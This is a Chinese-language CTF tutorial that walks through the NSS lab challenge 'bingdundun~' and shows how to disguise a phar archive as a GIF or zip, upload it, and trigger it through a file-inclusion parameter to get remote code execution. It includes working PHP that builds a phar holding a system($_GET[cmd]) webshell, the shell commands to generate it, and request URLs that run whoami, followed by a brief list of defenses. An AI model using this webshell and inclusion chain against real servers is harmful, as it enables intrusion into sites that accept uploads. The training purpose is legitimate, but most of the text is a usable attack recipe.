CTF实战手把手教你用phar伪协议绕过文件上传限制以NSS靶场为例在CTF竞赛中文件上传漏洞一直是高频考点。今天我们就以NSS靶场的bingdundun~题目为例深入剖析如何利用phar伪协议绕过文件上传限制实现远程代码执行RCE。不同于简单的解题记录本文将带你从原理到实践彻底掌握这一技术。1. 理解phar伪协议的核心机制pharPHP Archive是PHP中类似于Java的JAR文件的打包格式。它允许我们将多个PHP文件打包成一个归档文件这在某些场景下非常有用。但正是这种特性也让它成为了安全攻防中的重要角色。phar文件的基本结构Stub文件头格式通常为?php __HALT_COMPILER(); ?可以包含任意内容Manifest描述压缩文件内容的元数据包括权限、属性等信息File Contents实际被压缩的文件内容Signature可选文件的数字签名关键点phar伪协议最强大的特性是它能解析任意后缀的压缩包只要内容符合phar格式。这意味着我们可以将.phar文件伪装成.jpg或.zip上传。2. 靶场环境分析NSS靶场的bingdundun~题目提供了一个典型的上传点限制场景界面只允许上传图片或压缩包URL中存在GET参数如?bingdundunindex后台会自动添加.php后缀存在文件包含漏洞可以通过参数包含上传的文件漏洞利用链文件上传限制绕过 → 上传恶意phar文件 → 文件包含触发phar解析 → RCE3. 构造恶意phar压缩包以下是创建攻击性phar文件的完整步骤?php $payload ?php system($_GET[cmd]); ?; // 更隐蔽的Webshell $phar new Phar(attack.phar); $phar-startBuffering(); $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); // 伪装成GIF文件 $phar-addFromString(shell.php, $payload); $phar-stopBuffering(); ?关键技巧在stub中添加GIF89a使文件头部看起来像GIF图片使用system($_GET[cmd])比eval更隐蔽压缩包可以保存为.zip后缀phar协议仍能识别4. 完整攻击流程演示让我们一步步完成攻击生成恶意文件php -d phar.readonly0 generate_phar.php mv attack.phar attack.zip上传文件通过网页表单上传attack.zip服务器返回存储路径/uploads/attack.zip触发文件包含http://target.com/?bingdundunphar://uploads/attack.zip/shell注意不需要写.php后缀系统会自动添加执行命令http://target.com/?bingdundunphar://uploads/attack.zip/shellcmdwhoami常见问题排查如果执行失败检查文件是否真的上传成功phar文件是否生成正确可以用php -l检查文件包含路径是否正确5. 防御措施与进阶思考了解了攻击原理后我们也要知道如何防御有效防御方案文件内容检查而不仅是扩展名禁用危险的PHP伪协议设置phar.readonlyOn生产环境配置对上传文件进行重命名CTF中的变种考法结合phar的反序列化漏洞与其他伪协议zip://、data://的组合利用需要绕过WAF的场景在实际渗透测试中phar伪协议的利用往往需要结合其他漏洞。理解其原理不仅能帮助解题更能提升整体安全防护意识。